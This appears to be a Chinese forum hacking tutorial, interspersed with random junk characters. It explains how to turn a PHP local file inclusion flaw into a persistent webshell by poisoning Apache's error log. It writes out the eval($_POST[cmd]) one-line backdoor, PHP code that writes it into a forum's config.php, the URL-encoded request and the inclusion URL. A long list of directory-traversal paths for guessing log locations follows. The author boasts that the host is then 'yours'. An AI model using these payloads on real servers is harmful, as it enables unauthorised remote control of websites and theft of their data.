因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 ' Y# D. d9 E2 A$ D# E/ q
9 u1 L3 F% C$ n w$ ~比如还是这句一句话木马
& j2 l2 |/ L7 p' {: A<?eval($_POST[cmd]);?> $ _7 Y6 z! d) p- e6 ^; B0 |
8 o8 ~& u, U4 |" R
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, 8 T! c/ S% C) z* Y
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 5 q5 F8 Q B7 \) a
% p3 F; r: X1 R' n
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); ) c& a- V: j4 Q M. v: Q- _* f
fclose($fp);?> //在config.php里写入一句木马语句
: @4 O2 q; O8 c
- h' i O& u& L4 J我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
5 C0 m% k6 F& x5 i& w2 y转换为
1 _- {5 `: t( r5 O1 m8 ~% H# }%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
1 w0 R5 b; t: Z5 G6 C0 tconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
- ^* F u& a: P: K8 y% L. S%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
: e) A: D+ R- b0 ufclose%28%24fp%29%3B%3F%3E 2 v9 \+ p% q& s
我们提交
" T- s( P, y5 [! F' a2 Zhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww 9 t" t2 p7 }* e' M1 l
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp & Y: M$ a" ~) i2 y0 ^2 u$ A: l
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B 0 [ s9 s) K% H! o: O' G; T! Q
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
# W4 ~- r5 H! k7 w$ B- Q) m' m( r! t% t4 p/ E! \& A1 V
这样就错误日志里就记录下了这行写入webshell的代码。
3 y$ s: W6 O% D1 b我们再来包含日志,提交 " g9 G( L& o" V: G" I5 l+ E4 u: _
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log - y2 m) d2 }; E' G$ ]- r- D
3 F9 N$ v8 P0 M" A, Q
这样webshell就写入成功了,config.php里就写入一句木马语句 3 ]/ C# c# F/ E# B5 j
OK. $ v" s9 A) `% O. Y3 Z
http://www.xxx.com/forum/config.php这个就成了我们的webshell
$ [6 V# h$ w3 Z9 \1 o8 {直接用lanker的客户端一连,主机就是你的了。
5 F, K) R" Y$ M7 I0 s8 h4 ]! C2 J& x' h
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 7 Y& V7 q/ j7 @
+ T' Q0 i. O9 z5 M0 b( ?) k, G& h其他的日志路径,你可以去猜,也可以参照这里。
& h2 c: v: x0 I* F" ]/ p# P../../../../../../../../../../var/log/httpd/access_log
/ u% o) X9 e* _1 x, B3 Z../../../../../../../../../../var/log/httpd/error_log
b2 c$ o& ?1 f5 J: Z$ x) c../apache/logs/error.log ( X% r& X7 q& D" f* J
../apache/logs/access.log ' ?4 R p4 a7 s% P* b. \/ T8 w, r
../../apache/logs/error.log
0 f3 [) S2 o( {4 |../../apache/logs/access.log + ]; X [& C; H% T
../../../apache/logs/error.log 2 n0 }' r; R6 I
../../../apache/logs/access.log 2 C, ^5 A2 Q% W+ M+ ^' U. S
../../../../../../../../../../etc/httpd/logs/acces_log
' j! `! v, e8 ]3 W/ j8 S, Q../../../../../../../../../../etc/httpd/logs/acces.log
2 `% G/ f! }" I$ F1 v../../../../../../../../../../etc/httpd/logs/error_log 3 v" p1 S2 w: K0 H/ e& I9 S2 h
../../../../../../../../../../etc/httpd/logs/error.log
; C8 z8 |: v, x( a../../../../../../../../../../var/www/logs/access_log
2 y A1 H5 O4 ]3 G% J../../../../../../../../../../var/www/logs/access.log
* V2 z# {7 N6 }( u) ]../../../../../../../../../../usr/local/apache/logs/access_log
0 R U& `: N1 |5 f: n$ W../../../../../../../../../../usr/local/apache/logs/access.log
/ e1 u# I0 ]3 |9 s9 U' g! s. @../../../../../../../../../../var/log/apache/access_log
7 p m7 U1 |; x/ n, M2 _../../../../../../../../../../var/log/apache/access.log
2 ?' H! c3 ?0 {4 e/ m. S6 t {../../../../../../../../../../var/log/access_log 1 `$ }9 V% j' P0 j( w
../../../../../../../../../../var/www/logs/error_log + |6 x$ t- |7 D7 D
../../../../../../../../../../var/www/logs/error.log
- I5 w$ @6 {7 B* U../../../../../../../../../../usr/local/apache/logs/error_log - R4 x& E. j2 n6 }3 I6 F
../../../../../../../../../../usr/local/apache/logs/error.log
5 `5 G0 y- Y ~. Z6 U a../../../../../../../../../../var/log/apache/error_log / |: x, ?% u; _1 L" ?9 E5 {, g
../../../../../../../../../../var/log/apache/error.log . n' I4 _4 x& B1 n: X3 L& q0 _6 i
../../../../../../../../../../var/log/access_log 1 H$ A+ w' l1 l/ M- K! A! x8 F4 m
../../../../../../../../../../var/log/error_log
0 |$ ~1 B) P, N6 [/var/log/httpd/access_log
1 d; x! q7 F- A( N6 G( n" Z/var/log/httpd/error_log 1 D- ^0 T# k1 J0 F: X8 G
../apache/logs/error.log # F# I; W2 u5 s, b! }! x: R
../apache/logs/access.log
0 _% p8 @: v+ D7 Q../../apache/logs/error.log
& o' V2 s% j* e( u( ?- \4 a, H../../apache/logs/access.log / W9 C0 s' P7 q' r6 S1 h/ q
../../../apache/logs/error.log
* M( y3 F4 J" S5 b+ z/ N../../../apache/logs/access.log
8 U, r! X4 L+ g$ N& h' Z3 J& P. n/etc/httpd/logs/acces_log Z8 D6 ~5 l" Z' ^
/etc/httpd/logs/acces.log ) W# F6 A7 y, x+ r6 C& Y; R& i
/etc/httpd/logs/error_log
- ?. P$ `+ L2 P2 l: e, L: P/etc/httpd/logs/error.log 7 H, \0 A$ ?5 @- d: a
/var/www/logs/access_log 1 K2 v+ l* d2 ~! |- ^( x$ L ?" Z% I5 q
/var/www/logs/access.log * [2 s# T) h7 U; `
/usr/local/apache/logs/access_log 5 H" r4 Q! {$ P# y( @: D, g
/usr/local/apache/logs/access.log
6 D4 X6 d" e: ?# E- k' I) J1 r/var/log/apache/access_log " q2 [. j! E* ]. M f$ E
/var/log/apache/access.log : b" x. B/ v* A' m
/var/log/access_log
% C$ @+ F- |, D: Q+ i; W$ u6 P/var/www/logs/error_log
: R! { _3 W7 J$ q3 D( _$ q+ q$ b/var/www/logs/error.log 3 _7 b' F4 x8 s* m( a- }
/usr/local/apache/logs/error_log
6 s: C$ H5 B2 G. j6 u) Y6 k+ J/usr/local/apache/logs/error.log - o: J; z4 [3 y3 C+ X' Q
/var/log/apache/error_log
+ J$ X1 k" [$ @/ S+ S; F/ j" v/ R/var/log/apache/error.log
+ V& ]( [8 w4 q$ h& o( q/var/log/access_log
: T7 B3 E* c. d/var/log/error_log |